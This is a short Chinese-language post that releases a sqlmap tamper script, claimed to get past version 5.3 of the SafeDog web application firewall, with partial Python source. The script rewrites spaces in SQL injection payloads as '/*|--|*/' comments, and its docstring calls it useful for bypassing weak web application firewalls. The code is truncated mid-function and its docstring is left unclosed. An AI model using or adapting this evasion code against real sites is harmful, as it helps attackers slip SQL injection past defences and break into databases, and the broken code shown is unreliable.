sqlmap tamper mysql_sqlmap tamper绕过安全狗

可以过5.3版本 放出py

#!/usr/bin/env python

"""

Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)

See the file ‘doc/COPYING‘ for copying permission

"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

"""

Replaces space character (‘ ‘) with comments ‘/*|--|*/‘

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0

Notes:

* Useful to bypass weak and bespoke web application firewalls

>>> tamper(‘SELECT id FROM users‘)

‘SELECT/*|--|*/id/*|--|*/FROM/*|--|*/users‘

retVal = payload

if payload:

retVal = ""

quote, doublequote, firstspace = False